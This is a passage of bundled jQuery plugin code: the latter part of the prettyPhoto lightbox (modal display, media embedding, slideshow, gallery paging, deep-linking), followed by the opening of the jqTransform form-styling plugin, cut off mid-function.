? set_position : $("a[rel^='"+theRel+"']").index($(this)); _build_overlay(this); // Build the overlay {this} being the caller if(settings.allow_resize) $(window).bind('scroll.prettyphoto',function(){ _center_overlay(); }); $.prettyPhoto.open(); return false; } /** * Opens the prettyPhoto modal box. * @param image {String,Array} Full path to the image to be open, can also be an array containing full images paths. * @param title {String,Array} The title to be displayed with the picture, can also be an array containing all the titles. * @param description {String,Array} The description to be displayed with the picture, can also be an array containing all the descriptions. */ $.prettyPhoto.open = function(event) { if(typeof settings == "undefined"){ // Means it's an API call, need to manually get the settings and set the variables settings = pp_settings; if($.browser.msie && $.browser.version == 6) settings.theme = "light_square"; // Fallback to a supported theme for IE6 pp_images = $.makeArray(arguments[0]); pp_titles = (arguments[1]) ? $.makeArray(arguments[1]) : $.makeArray(""); pp_descriptions = (arguments[2]) ? $.makeArray(arguments[2]) : $.makeArray(""); isSet = (pp_images.length > 1) ? true : false; set_position = 0; _build_overlay(event.target); // Build the overlay {this} being the caller } if($.browser.msie && $.browser.version == 6) $('select').css('visibility','hidden'); // To fix the bug with IE select boxes if(settings.hideflash) $('object,embed,iframe[src*=youtube],iframe[src*=vimeo]').css('visibility','hidden'); // Hide the flash _checkPosition($(pp_images).size()); // Hide the next/previous links if on first or last images. $('.pp_loaderIcon').show(); if(settings.deeplinking) setHashtag(); // Rebuild Facebook Like Button with updated href if(settings.social_tools){ facebook_like_link = settings.social_tools.replace('{location_href}', encodeURIComponent(location.href)); $pp_pic_holder.find('.pp_social').html(facebook_like_link); } // Fade the content in if($ppt.is(':hidden')) $ppt.css('opacity',0).show(); $pp_overlay.show().fadeTo(settings.animation_speed,settings.opacity); // Display the current position $pp_pic_holder.find('.currentTextHolder').text((set_position+1) + settings.counter_separator_label + $(pp_images).size()); // Set the description if(pp_descriptions[set_position] != ""){ $pp_pic_holder.find('.pp_description').show().html(unescape(pp_descriptions[set_position])); }else{ $pp_pic_holder.find('.pp_description').hide(); } // Get the dimensions movie_width = ( parseFloat(getParam('width',pp_images[set_position])) ) ? getParam('width',pp_images[set_position]) : settings.default_width.toString(); movie_height = ( parseFloat(getParam('height',pp_images[set_position])) ) ? getParam('height',pp_images[set_position]) : settings.default_height.toString(); // If the size is % based, calculate according to window dimensions percentBased=false; if(movie_height.indexOf('%') != -1) { movie_height = parseFloat(($(window).height() * parseFloat(movie_height) / 100) - 150); percentBased = true; } if(movie_width.indexOf('%') != -1) { movie_width = parseFloat(($(window).width() * parseFloat(movie_width) / 100) - 150); percentBased = true; } // Fade the holder $pp_pic_holder.fadeIn(function(){ // Set the title (settings.show_title && pp_titles[set_position] != "" && typeof pp_titles[set_position] != "undefined") ? $ppt.html(unescape(pp_titles[set_position])) : $ppt.html('&nbsp;'); imgPreloader = ""; skipInjection = false; // Inject the proper content switch(_getFileType(pp_images[set_position])){ case 'image': imgPreloader = new Image(); // Preload the neighbour images nextImage = new Image(); if(isSet && set_position < $(pp_images).size() -1) nextImage.src = pp_images[set_position + 1]; prevImage = new Image(); if(isSet && pp_images[set_position - 1]) prevImage.src = pp_images[set_position - 1]; $pp_pic_holder.find('#pp_full_res')[0].innerHTML = settings.image_markup.replace(/{path}/g,pp_images[set_position]); imgPreloader.onload = function(){ // Fit item to viewport pp_dimensions = _fitToViewport(imgPreloader.width,imgPreloader.height); _showContent(); }; imgPreloader.onerror = function(){ alert('Image cannot be loaded. Make sure the path is correct and image exist.'); $.prettyPhoto.close(); }; imgPreloader.src = pp_images[set_position]; break; case 'youtube': pp_dimensions = _fitToViewport(movie_width,movie_height); // Fit item to viewport // Regular youtube link movie_id = getParam('v',pp_images[set_position]); // youtu.be link if(movie_id == ""){ movie_id = pp_images[set_position].split('youtu.be/'); movie_id = movie_id[1]; if(movie_id.indexOf('?') > 0) movie_id = movie_id.substr(0,movie_id.indexOf('?')); // Strip anything after the ? if(movie_id.indexOf('&') > 0) movie_id = movie_id.substr(0,movie_id.indexOf('&')); // Strip anything after the & } movie = 'http://www.youtube.com/embed/'+movie_id; (getParam('rel',pp_images[set_position])) ? movie+="?rel="+getParam('rel',pp_images[set_position]) : movie+="?rel=1"; if(settings.autoplay) movie += "&autoplay=1"; toInject = settings.iframe_markup.replace(/{width}/g,pp_dimensions['width']).replace(/{height}/g,pp_dimensions['height']).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,movie); break; case 'vimeo': pp_dimensions = _fitToViewport(movie_width,movie_height); // Fit item to viewport movie_id = pp_images[set_position]; var regExp = /http:\/\/(www\.)?vimeo.com\/(\d+)/; var match = movie_id.match(regExp); movie = 'http://player.vimeo.com/video/'+ match[2] +'?title=0&amp;byline=0&amp;portrait=0'; if(settings.autoplay) movie += "&autoplay=1;"; vimeo_width = pp_dimensions['width'] + '/embed/?moog_width='+ pp_dimensions['width']; toInject = settings.iframe_markup.replace(/{width}/g,vimeo_width).replace(/{height}/g,pp_dimensions['height']).replace(/{path}/g,movie); break; case 'quicktime': pp_dimensions = _fitToViewport(movie_width,movie_height); // Fit item to viewport pp_dimensions['height']+=15; pp_dimensions['contentHeight']+=15; pp_dimensions['containerHeight']+=15; // Add space for the control bar toInject = settings.quicktime_markup.replace(/{width}/g,pp_dimensions['width']).replace(/{height}/g,pp_dimensions['height']).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,pp_images[set_position]).replace(/{autoplay}/g,settings.autoplay); break; case 'flash': pp_dimensions = _fitToViewport(movie_width,movie_height); // Fit item to viewport flash_vars = pp_images[set_position]; flash_vars = flash_vars.substring(pp_images[set_position].indexOf('flashvars') + 10,pp_images[set_position].length); filename = pp_images[set_position]; filename = filename.substring(0,filename.indexOf('?')); toInject = settings.flash_markup.replace(/{width}/g,pp_dimensions['width']).replace(/{height}/g,pp_dimensions['height']).replace(/{wmode}/g,settings.wmode).replace(/{path}/g,filename+'?'+flash_vars); break; case 'iframe': pp_dimensions = _fitToViewport(movie_width,movie_height); // Fit item to viewport frame_url = pp_images[set_position]; frame_url = frame_url.substr(0,frame_url.indexOf('iframe')-1); toInject = settings.iframe_markup.replace(/{width}/g,pp_dimensions['width']).replace(/{height}/g,pp_dimensions['height']).replace(/{path}/g,frame_url); break; case 'ajax': doresize = false; // Make sure the dimensions are not resized. pp_dimensions = _fitToViewport(movie_width,movie_height); doresize = true; // Reset the dimensions skipInjection = true; $.get(pp_images[set_position],function(responseHTML){ toInject = settings.inline_markup.replace(/{content}/g,responseHTML); $pp_pic_holder.find('#pp_full_res')[0].innerHTML = toInject; _showContent(); }); break; case 'custom': pp_dimensions = _fitToViewport(movie_width,movie_height); // Fit item to viewport toInject = settings.custom_markup; break; case 'inline': // to get the item height clone it, apply default width, wrap it in the prettyPhoto containers , then delete myClone = $(pp_images[set_position]).clone().append('<br clear="all" />').css({'width':settings.default_width}).wrapInner('<div id="pp_full_res"><div class="pp_inline"></div></div>').appendTo($('body')).show(); doresize = false; // Make sure the dimensions are not resized. pp_dimensions = _fitToViewport($(myClone).width(),$(myClone).height()); doresize = true; // Reset the dimensions $(myClone).remove(); toInject = settings.inline_markup.replace(/{content}/g,$(pp_images[set_position]).html()); break; }; if(!imgPreloader && !skipInjection){ $pp_pic_holder.find('#pp_full_res')[0].innerHTML = toInject; // Show content _showContent(); }; }); return false; }; /** * Change page in the prettyPhoto modal box * @param direction {String} Direction of the paging, previous or next. */ $.prettyPhoto.changePage = function(direction){ currentGalleryPage = 0; if(direction == 'previous') { set_position--; if (set_position < 0) set_position = $(pp_images).size()-1; }else if(direction == 'next'){ set_position++; if(set_position > $(pp_images).size()-1) set_position = 0; }else{ set_position=direction; }; rel_index = set_position; if(!doresize) doresize = true; // Allow the resizing of the images $('.pp_contract').removeClass('pp_contract').addClass('pp_expand'); _hideContent(function(){ $.prettyPhoto.open(); }); }; /** * Change gallery page in the prettyPhoto modal box * @param direction {String} Direction of the paging, previous or next. */ $.prettyPhoto.changeGalleryPage = function(direction){ if(direction=='next'){ currentGalleryPage ++; if(currentGalleryPage > totalPage) currentGalleryPage = 0; }else if(direction=='previous'){ currentGalleryPage --; if(currentGalleryPage < 0) currentGalleryPage = totalPage; }else{ currentGalleryPage = direction; }; slide_speed = (direction == 'next' || direction == 'previous') ? settings.animation_speed : 0; slide_to = currentGalleryPage * (itemsPerPage * itemWidth); $pp_gallery.find('ul').animate({left:-slide_to},slide_speed); }; /** * Start the slideshow... */ $.prettyPhoto.startSlideshow = function(){ if(typeof pp_slideshow == 'undefined'){ $pp_pic_holder.find('.pp_play').unbind('click').removeClass('pp_play').addClass('pp_pause').click(function(){ $.prettyPhoto.stopSlideshow(); return false; }); pp_slideshow = setInterval($.prettyPhoto.startSlideshow,settings.slideshow); }else{ $.prettyPhoto.changePage('next'); }; } /** * Stop the slideshow... */ $.prettyPhoto.stopSlideshow = function(){ $pp_pic_holder.find('.pp_pause').unbind('click').removeClass('pp_pause').addClass('pp_play').click(function(){ $.prettyPhoto.startSlideshow(); return false; }); clearInterval(pp_slideshow); pp_slideshow=undefined; } /** * Closes prettyPhoto. */ $.prettyPhoto.close = function(){ if($pp_overlay.is(":animated")) return; $.prettyPhoto.stopSlideshow(); $pp_pic_holder.stop().find('object,embed').css('visibility','hidden'); $('div.pp_pic_holder,div.ppt,.pp_fade').fadeOut(settings.animation_speed,function(){ $(this).remove(); }); $pp_overlay.fadeOut(settings.animation_speed, function(){ if($.browser.msie && $.browser.version == 6) $('select').css('visibility','visible'); // To fix the bug with IE select boxes if(settings.hideflash) $('object,embed,iframe[src*=youtube],iframe[src*=vimeo]').css('visibility','visible'); // Show the flash $(this).remove(); // No more need for the prettyPhoto markup $(window).unbind('scroll.prettyphoto'); clearHashtag(); settings.callback(); doresize = true; pp_open = false; delete settings; }); }; /** * Set the proper sizes on the containers and animate the content in. */ function _showContent(){ $('.pp_loaderIcon').hide(); // Calculate the opened top position of the pic holder projectedTop = scroll_pos['scrollTop'] + ((windowHeight/2) - (pp_dimensions['containerHeight']/2)); if(projectedTop < 0) projectedTop = 0; $ppt.fadeTo(settings.animation_speed,1); // Resize the content holder $pp_pic_holder.find('.pp_content') .animate({ height:pp_dimensions['contentHeight'], width:pp_dimensions['contentWidth'] },settings.animation_speed); // Resize picture the holder $pp_pic_holder.animate({ 'top': projectedTop, 'left': (windowWidth/2) - (pp_dimensions['containerWidth']/2), width:pp_dimensions['containerWidth'] },settings.animation_speed,function(){ $pp_pic_holder.find('.pp_hoverContainer,#fullResImage').height(pp_dimensions['height']).width(pp_dimensions['width']); $pp_pic_holder.find('.pp_fade').fadeIn(settings.animation_speed); // Fade the new content // Show the nav if(isSet && _getFileType(pp_images[set_position])=="image") { $pp_pic_holder.find('.pp_hoverContainer').show(); }else{ $pp_pic_holder.find('.pp_hoverContainer').hide(); } if(pp_dimensions['resized']){ // Fade the resizing link if the image is resized $('a.pp_expand,a.pp_contract').show(); }else{ $('a.pp_expand').hide(); } if(settings.autoplay_slideshow && !pp_slideshow && !pp_open) $.prettyPhoto.startSlideshow(); settings.changepicturecallback(); // Callback! pp_open = true; }); _insert_gallery(); }; /** * Hide the content...DUH! */ function _hideContent(callback){ // Fade out the current picture $pp_pic_holder.find('#pp_full_res object,#pp_full_res embed').css('visibility','hidden'); $pp_pic_holder.find('.pp_fade').fadeOut(settings.animation_speed,function(){ $('.pp_loaderIcon').show(); callback(); }); }; /** * Check the item position in the gallery array, hide or show the navigation links * @param setCount {integer} The total number of items in the set */ function _checkPosition(setCount){ (setCount > 1) ? $('.pp_nav').show() : $('.pp_nav').hide(); // Hide the bottom nav if it's not a set. }; /** * Resize the item dimensions if it's bigger than the viewport * @param width {integer} Width of the item to be opened * @param height {integer} Height of the item to be opened * @return An array containin the "fitted" dimensions */ function _fitToViewport(width,height){ resized = false; _getDimensions(width,height); // Define them in case there's no resize needed imageWidth = width, imageHeight = height; if( ((pp_containerWidth > windowWidth) || (pp_containerHeight > windowHeight)) && doresize && settings.allow_resize && !percentBased) { resized = true, fitting = false; while (!fitting){ if((pp_containerWidth > windowWidth)){ imageWidth = (windowWidth - 200); imageHeight = (height/width) * imageWidth; }else if((pp_containerHeight > windowHeight)){ imageHeight = (windowHeight - 200); imageWidth = (width/height) * imageHeight; }else{ fitting = true; }; pp_containerHeight = imageHeight, pp_containerWidth = imageWidth; }; _getDimensions(imageWidth,imageHeight); if((pp_containerWidth > windowWidth) || (pp_containerHeight > windowHeight)){ _fitToViewport(pp_containerWidth,pp_containerHeight) }; }; return { width:Math.floor(imageWidth), height:Math.floor(imageHeight), containerHeight:Math.floor(pp_containerHeight), containerWidth:Math.floor(pp_containerWidth) + (settings.horizontal_padding * 2), contentHeight:Math.floor(pp_contentHeight), contentWidth:Math.floor(pp_contentWidth), resized:resized }; }; /** * Get the containers dimensions according to the item size * @param width {integer} Width of the item to be opened * @param height {integer} Height of the item to be opened */ function _getDimensions(width,height){ width = parseFloat(width); height = parseFloat(height); // Get the details height, to do so, I need to clone it since it's invisible $pp_details = $pp_pic_holder.find('.pp_details'); $pp_details.width(width); detailsHeight = parseFloat($pp_details.css('marginTop')) + parseFloat($pp_details.css('marginBottom')); $pp_details = $pp_details.clone().addClass(settings.theme).width(width).appendTo($('body')).css({ 'position':'absolute', 'top':-10000 }); detailsHeight += $pp_details.height(); detailsHeight = (detailsHeight <= 34) ? 36 : detailsHeight; // Min-height for the details if($.browser.msie && $.browser.version==7) detailsHeight+=8; $pp_details.remove(); // Get the titles height, to do so, I need to clone it since it's invisible $pp_title = $pp_pic_holder.find('.ppt'); $pp_title.width(width); titleHeight = parseFloat($pp_title.css('marginTop')) + parseFloat($pp_title.css('marginBottom')); $pp_title = $pp_title.clone().appendTo($('body')).css({ 'position':'absolute', 'top':-10000 }); titleHeight += $pp_title.height(); $pp_title.remove(); // Get the container size, to resize the holder to the right dimensions pp_contentHeight = height + detailsHeight; pp_contentWidth = width; pp_containerHeight = pp_contentHeight + titleHeight + $pp_pic_holder.find('.pp_top').height() + $pp_pic_holder.find('.pp_bottom').height(); pp_containerWidth = width; } function _getFileType(itemSrc){ if (itemSrc.match(/youtube\.com\/watch/i) || itemSrc.match(/youtu\.be/i)) { return 'youtube'; }else if (itemSrc.match(/vimeo\.com/i)) { return 'vimeo'; }else if(itemSrc.match(/\b.mov\b/i)){ return 'quicktime'; }else if(itemSrc.match(/\b.mp4\b/i)){ return 'quicktime'; }else if(itemSrc.match(/\b.swf\b/i)){ return 'flash'; }else if(itemSrc.match(/\b.flv\b/i)){ return 'flash'; }else if(itemSrc.match(/\biframe=true\b/i)){ return 'iframe'; }else if(itemSrc.match(/\bajax=true\b/i)){ return 'ajax'; }else if(itemSrc.match(/\bcustom=true\b/i)){ return 'custom'; }else if(itemSrc.substr(0,1) == '#'){ return 'inline'; }else{ return 'image'; }; }; function _center_overlay(){ if(doresize && typeof $pp_pic_holder != 'undefined') { scroll_pos = _get_scroll(); contentHeight = $pp_pic_holder.height(), contentwidth = $pp_pic_holder.width(); projectedTop = (windowHeight/2) + scroll_pos['scrollTop'] - (contentHeight/2); if(projectedTop < 0) projectedTop = 0; if(contentHeight > windowHeight) return; $pp_pic_holder.css({ 'top': projectedTop, 'left': (windowWidth/2) + scroll_pos['scrollLeft'] - (contentwidth/2) }); }; }; function _get_scroll(){ if (self.pageYOffset) { return {scrollTop:self.pageYOffset,scrollLeft:self.pageXOffset}; } else if (document.documentElement && document.documentElement.scrollTop) { // Explorer 6 Strict return {scrollTop:document.documentElement.scrollTop,scrollLeft:document.documentElement.scrollLeft}; } else if (document.body) {// all other Explorers return {scrollTop:document.body.scrollTop,scrollLeft:document.body.scrollLeft}; }; }; function _resize_overlay() { windowHeight = $(window).height(), windowWidth = $(window).width(); if(typeof $pp_overlay != "undefined") $pp_overlay.height($(document).height()).width(windowWidth); }; function _insert_gallery(){ if(isSet && settings.overlay_gallery && _getFileType(pp_images[set_position])=="image" && (settings.ie6_fallback && !($.browser.msie && parseInt($.browser.version) == 6))) { itemWidth = 52+5; // 52 beign the thumb width, 5 being the right margin. navWidth = (settings.theme == "facebook" || settings.theme == "pp_default") ? 50 : 30; // Define the arrow width depending on the theme itemsPerPage = Math.floor((pp_dimensions['containerWidth'] - 100 - navWidth) / itemWidth); itemsPerPage = (itemsPerPage < pp_images.length) ? itemsPerPage : pp_images.length; totalPage = Math.ceil(pp_images.length / itemsPerPage) - 1; // Hide the nav in the case there's no need for links if(totalPage == 0){ navWidth = 0; // No nav means no width! $pp_gallery.find('.pp_arrow_next,.pp_arrow_previous').hide(); }else{ $pp_gallery.find('.pp_arrow_next,.pp_arrow_previous').show(); }; galleryWidth = itemsPerPage * itemWidth; fullGalleryWidth = pp_images.length * itemWidth; // Set the proper width to the gallery items $pp_gallery .css('margin-left',-((galleryWidth/2) + (navWidth/2))) .find('div:first').width(galleryWidth+5) .find('ul').width(fullGalleryWidth) .find('li.selected').removeClass('selected'); goToPage = (Math.floor(set_position/itemsPerPage) < totalPage) ? Math.floor(set_position/itemsPerPage) : totalPage; $.prettyPhoto.changeGalleryPage(goToPage); $pp_gallery_li.filter(':eq('+set_position+')').addClass('selected'); }else{ $pp_pic_holder.find('.pp_content').unbind('mouseenter mouseleave'); // $pp_gallery.hide(); } } function _build_overlay(caller){ // Inject Social Tool markup into General markup if(settings.social_tools) facebook_like_link = settings.social_tools.replace('{location_href}', encodeURIComponent(location.href)); settings.markup=settings.markup.replace('{pp_social}',(settings.social_tools)?facebook_like_link:''); $('body').append(settings.markup); // Inject the markup $pp_pic_holder = $('.pp_pic_holder') , $ppt = $('.ppt'), $pp_overlay = $('div.pp_overlay'); // Set my global selectors // Inject the inline gallery! if(isSet && settings.overlay_gallery) { currentGalleryPage = 0; toInject = ""; for (var i=0; i < pp_images.length; i++) { if(!pp_images[i].match(/\b(jpg|jpeg|png|gif)\b/gi)){ classname = 'default'; img_src = ''; }else{ classname = ''; img_src = pp_images[i]; } toInject += "<li class='"+classname+"'><a href='#'><img src='" + img_src + "' width='50' alt='' /></a></li>"; }; toInject = settings.gallery_markup.replace(/{gallery}/g,toInject); $pp_pic_holder.find('#pp_full_res').after(toInject); $pp_gallery = $('.pp_pic_holder .pp_gallery'), $pp_gallery_li = $pp_gallery.find('li'); // Set the gallery selectors $pp_gallery.find('.pp_arrow_next').click(function(){ $.prettyPhoto.changeGalleryPage('next'); $.prettyPhoto.stopSlideshow(); return false; }); $pp_gallery.find('.pp_arrow_previous').click(function(){ $.prettyPhoto.changeGalleryPage('previous'); $.prettyPhoto.stopSlideshow(); return false; }); $pp_pic_holder.find('.pp_content').hover( function(){ $pp_pic_holder.find('.pp_gallery:not(.disabled)').fadeIn(); }, function(){ $pp_pic_holder.find('.pp_gallery:not(.disabled)').fadeOut(); }); itemWidth = 52+5; // 52 beign the thumb width, 5 being the right margin. $pp_gallery_li.each(function(i){ $(this) .find('a') .click(function(){ $.prettyPhoto.changePage(i); $.prettyPhoto.stopSlideshow(); return false; }); }); }; // Inject the play/pause if it's a slideshow if(settings.slideshow){ $pp_pic_holder.find('.pp_nav').prepend('<a href="#" class="pp_play">Play</a>') $pp_pic_holder.find('.pp_nav .pp_play').click(function(){ $.prettyPhoto.startSlideshow(); return false; }); } $pp_pic_holder.attr('class','pp_pic_holder ' + settings.theme); // Set the proper theme $pp_overlay .css({ 'opacity':0, 'height':$(document).height(), 'width':$(window).width() }) .bind('click',function(){ if(!settings.modal) $.prettyPhoto.close(); }); $('a.pp_close').bind('click',function(){ $.prettyPhoto.close(); return false; }); $('a.pp_expand').bind('click',function(e){ // Expand the image if($(this).hasClass('pp_expand')){ $(this).removeClass('pp_expand').addClass('pp_contract'); doresize = false; }else{ $(this).removeClass('pp_contract').addClass('pp_expand'); doresize = true; }; _hideContent(function(){ $.prettyPhoto.open(); }); return false; }); $pp_pic_holder.find('.pp_previous, .pp_nav .pp_arrow_previous').bind('click',function(){ $.prettyPhoto.changePage('previous'); $.prettyPhoto.stopSlideshow(); return false; }); $pp_pic_holder.find('.pp_next, .pp_nav .pp_arrow_next').bind('click',function(){ $.prettyPhoto.changePage('next'); $.prettyPhoto.stopSlideshow(); return false; }); _center_overlay(); // Center it }; if(!pp_alreadyInitialized && getHashtag()){ pp_alreadyInitialized = true; // Grab the rel index to trigger the click on the correct element hashIndex = getHashtag(); hashRel = hashIndex; hashIndex = hashIndex.substring(hashIndex.indexOf('/')+1,hashIndex.length-1); hashRel = hashRel.substring(0,hashRel.indexOf('/')); // Little timeout to make sure all the prettyPhoto initialize scripts has been run. // Useful in the event the page contain several init scripts. setTimeout(function(){ $("a[rel^='"+hashRel+"']:eq("+hashIndex+")").trigger('click'); },50); } return this.unbind('click.prettyphoto').bind('click.prettyphoto',$.prettyPhoto.initialize); // Return the jQuery object for chaining. The unbind method is used to avoid click conflict when the plugin is called more than once }; function getHashtag(){ url = location.href; hashtag = (url.indexOf('#!') != -1) ? decodeURI(url.substring(url.indexOf('#!')+2,url.length)) : false; return hashtag; }; function setHashtag(){ if(typeof theRel == 'undefined') return; // theRel is set on normal calls, it's impossible to deeplink using the API location.hash = '!' + theRel + '/'+rel_index+'/'; }; function clearHashtag(){ // Clear the hashtag only if it was set by prettyPhoto url = location.href; hashtag = (url.indexOf('#!prettyPhoto')) ? true : false; if(hashtag) location.hash = "!prettyPhoto"; } function getParam(name,url){ name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]"); var regexS = "[\\?&]"+name+"=([^&#]*)"; var regex = new RegExp( regexS ); var results = regex.exec( url ); return ( results == null ) ? "" : results[1]; } })(jQuery); var pp_alreadyInitialized = false; // Used for the deep linking to make sure not to call the same function several times. /* * * jqTransform * by mathieu vilaplana mvilaplana@dfc-e.com * Designer ghyslain armand garmand@dfc-e.com * * * Version 1.0 25.09.08 * Version 1.1 06.08.09 * Add event click on Checkbox and Radio * Auto calculate the size of a select element * Can now, disabled the elements * Correct bug in ff if click on select (overflow=hidden) * No need any more preloading !! * ******************************************** */ (function($){ var defaultOptions = {preloadImg:true}; var jqTransformImgPreloaded = false; var jqTransformPreloadHoverFocusImg = function(strImgUrl) { //guillemets to remove for ie strImgUrl = strImgUrl.replace(/^url\((.*)\)/,'$1').replace(/^\"(.*)\"$/,'$1'); var imgHover = new Image(); imgHover.src = strImgUrl.replace(/\.([a-zA-Z]*)$/,'-hover.$1'); var imgFocus = new Image(); imgFocus.src = strImgUrl.replace(/\.([a-zA-Z]*)$/,'-focus.$1'); }; /*************************** Labels ***************************/ var jqTransformGetLabel = function(objfield){ var selfForm = $(objfield.get(0).form); var oLabel = objfield.next(); if(!oLabel.is('label')) { oLabel = objfield.prev(); if(oLabel.is('label')){ var inputname = objfield.attr('id'); if(inputname){ oLabel = selfForm.find('label[for="'+inputname+'"]'); } } } if(oLabel.is('label')){return oLabel.css('cursor','pointer');} return false; }; /* Hide all open selects */ var jqTransformHideSelect = function(oTarget){ var ulVisible = $('.jqTransformSelectWrapper ul:visible'); ulVisible.each(function(){ var oSelect = $(this).parents(".jqTransformSelectWrapper:first").find("select").get(0); //do not hide if click on the label object associated to the select if( !(oTarget && oSelect.oLabel && oSelect.oLabel.get(0) == oTarget.get(0)) ){$(this).hide();} }); }; /* Check for an external click */ var jqTransformCheckExternalClick = function(event) { if ($(event.target).parents('.jqTransformSelectWrapper').length === 0) { jqTransformHideSelect($(event.target)); } }; /* Apply document listener */ var jqTransformAddDocumentListener = function (){ $(document).mousedown(jqTransformCheckExternalClick); }; /* Add a new handler for the reset action */ var jqTransformReset = function(f){ var sel; $('.jqTransformSelectWrapper select', f).each(function(){sel = (this.selectedIndex<0) ? 0 : this.selectedIndex; $('ul', $(this).parent()).each(function(){$('a:eq('+ sel +')', this).click();});}); $('a.jqTransformCheckbox, a.jqTransformRadio', f).removeClass('jqTransformChecked'); $('input:checkbox, input:radio', f).each(function(){if(this.checked){$('a', $(this).parent()).addClass('jqTransformChecked');}}); }; /*************************** Buttons ***************************/ $.fn.jqTransInputButton = function(){ return this.each(function(){ var newBtn = $('<button id="'+ this.id +'" name="'+ this.name +'" type="'+ this.type +'" class="'+ this.className +' jqTransformButton"><span><span>'+ $(this).attr('value') +'</span></span>') .hover(function(){newBtn.addClass('jqTransformButton_hover');},function(){newBtn.removeClass('jqTransformButton_hover')}) .mousedown(function(){newBtn.addClass('jqTransformButton_click')}) .mouseup(function(){newBtn.removeClass('jqTransformButton_click')}) ; $(this).replaceWith(newBtn); }); }; /*************************** Text Fields ***************************/ $.fn.jqTransInputText = function(){ return this.each(function(){ var $input = $(this); if($input.hasClass('jqtranformdone') || !$input.is('input')) {return;} $input.addClass('jqtranformdone'); var oLabel = jqTransformGetLabel($(this)); oLabel && oLabel.bind('click',function(){$input.focus();}); var inputSize=$input.width(); if($input.attr('size')){ inputSize = $input.attr('size')*10; $input.css('width',inputSize); } $input.addClass("jqTransformInput").wrap('<div class="jqTransformInputWrapper"><div class="jqTransformInputInner"><div></div></div></div>'); var $wrapper = $input.parent().parent().parent(); $wrapper.css("width", inputSize+10); $input .focus(function(){$wrapper.addClass("jqTransformInputWrapper_focus");}) .blur(function(){$wrapper.removeClass("jqTransformInputWrapper_focus");}) .hover(function(){$wrapper.addClass("jqTransformInputWrapper_hover");},function(){$wrapper.removeClass("jqTransformInputWrapper_hover");}) ; /* If this is safari we need to add an extra class */ $.browser.safari && $wrapper.addClass('jqTransformSafari'); $.browser.safari && $input.css('width',$wrapper.width()+16); this.wrapper = $wrapper; }); }; /*************************** Check Boxes ***************************/ $.fn.jqTransCheckBox = function(){ return this.each(function(){ if($(this).hasClass('jqTransformHidden')) {return;} var $input = $(this); var inputSelf = this; //set the click on the label var oLabel=jqTransformGetLabel($input); oLabel && oLabel.click(function(){aLink.trigger('click');}); var aLink = $('<a href="#" class="jqTransformCheckbox"></a>'); //wrap and add the link $input.addClass('jqTransformHidden').wrap('<span class="jqTransformCheckboxWrapper"></span>').parent().prepend(aLink); //on change, change the class of the link $input.change(function(){ this.checked && aLink.addClass('jqTransformChecked') || aLink.removeClass('jqTransformChecked'); return true; }); // Click Handler, trigger the click and change event on the input aLink.click(function(){ //do nothing if the original input is disabled if($input.attr('disabled')){return false;} //trigger the envents on the input object $input.trigger('click').trigger("change"); return false; }); // set the default state this.checked && aLink.addClass('jqTransformChecked'); }); }; /*************************** Radio Buttons ***************************/ $.fn.jqTransRadio = function(){ return this.each(function(){ if($(this).hasClass('jqTransformHidden')) {return;} var $input = $(this); var inputSelf = this; oLabel = jqTransformGetLabel($input); oLabel && oLabel.click(function(){aLink.trigger('click');}); var aLink = $('<a href="#" class="jqTransformRadio" rel="'+ this.name +'"></a>'); $input.addClass('jqTransformHidden').wrap('<span class="jqTransformRadioWrapper"></span>').parent().prepend(aLink); $input.change(function(){ inputSelf.checked && aLink.addClass('jqTransformChecked') || aLink.removeClass('jqTransformChecked'); return true; }); // Click Handler aLink.click(function(){ if($input.attr('disabled')){return false;} $input.trigger('click').trigger('change'); // uncheck all others of same name input radio elements $('input[name="'+$input.attr('name')+'"]',inputSelf.form).not($input).each(function(){ $(this).attr('type')=='radio' && $(this).trigger('change'); }); return false; }); // set the default state inputSelf.checked && aLink.addClass('jqTransformChecked'); }); }; /*************************** TextArea ***************************/ $.fn.jqTransTextarea = function(){ return this.each(function(){ var textarea = $(this); if(textarea.hasClass('jqtransformdone')) {return;} textarea.addClass('jqtransformdone'); oLabel = jqTransformGetLabel(textarea); oLabel && oLabel.click(function(){textarea.focus();}); var strTable = '<table cellspacing="0" cellpadding="0" border="0" class="jqTransformTextarea">'; strTable +='<tr><td id="jqTransformTextarea-tl"></td><td id="jqTransformTextarea-tm"></td><td id="jqTransformTextarea-tr"></td></tr>'; strTable +='<tr><td id="jqTransformTextarea-ml">&nbsp;</td><td id="jqTransformTextarea-mm"><div></div></td><td id="jqTransformTextarea-mr">&nbsp;</td></tr>'; strTable +='<tr><td id="jqTransformTextarea-bl"></td><td id="jqTransformTextarea-bm"></td><td id="jqTransformTextarea-br"></td></tr>'; strTable +='</table>'; var oTable = $(strTable) .insertAfter(textarea) .hover(function(){ !oTable.hasClass('jqTransformTextarea-focus') && oTable.addClass('jqTransformTextarea-hover'); },function(){ oTable.removeClass('jqTransformTextarea-hover'); }) ; textarea .focus(function(){oTable.removeClass('jqTransformTextarea-hover').addClass('jqTransformTextarea-focus');}) .blur(function(){oTable.removeClass('jqTransformTextarea-focus');}) .appendTo($('#jqTransformTextarea-mm div',oTable)) ; this.oTable = oTable; if($.browser.safari){ $('#jqTransformTextarea-mm',oTable) .addClass('jqTransformSafariTextarea') .find('div') .css('height',textarea.height()) .css('width',textarea.width()) ; } }); }; /*************************** Select ***************************/ $.fn.jqTransSelect = function(){ return this.each(function(index){ var $select = $(this); if($select.hasClass('jqTransformHidden')) {return;} if($select.attr('multiple')) {return;} var oLabel = jqTransformGetLabel($select); /* First thing we do is Wrap it */ var $wrapper = $select .addClass('jqTransformHidden') .wrap('<div class="jqTransformSelectWrapper"></div>') .parent() .css({zIndex: 10-index}) ; /* Now add the html for the select */ $wrapper.prepend('<div><span></span><a href="#" class="jqTransformSelectOpen"></a></div><ul></ul>'); var $ul = $('ul', $wrapper).css('width',$select.width()).hide(); /* Now we add the options */ $('option', this).each(function(i){ var oLi = $('<li><a href="#" index="'+ i +'">'+ $(this).html() +'</a></li>'); $ul.append(oLi); }); /* Add click handler to the a */ /*$ul.find('a').click(function(){ $('a.selected', $wrapper).removeClass('selected'); $(this).addClass('selected'); if ($select[0].selectedIndex != $(this).attr('index') && $select[0].onchange) { $select[0].selectedIndex = $(this).attr('index'); $select[0].onchange(); } $select[0].selectedIndex = $(this).attr('index'); $('span:eq(0)', $wrapper).html($(this).html()); $ul.hide(); return false; });*/ (function() { var sel = $select[0], items = $ul.find('a'); items.each(function(i) { var item = $(this).click(function(e) { 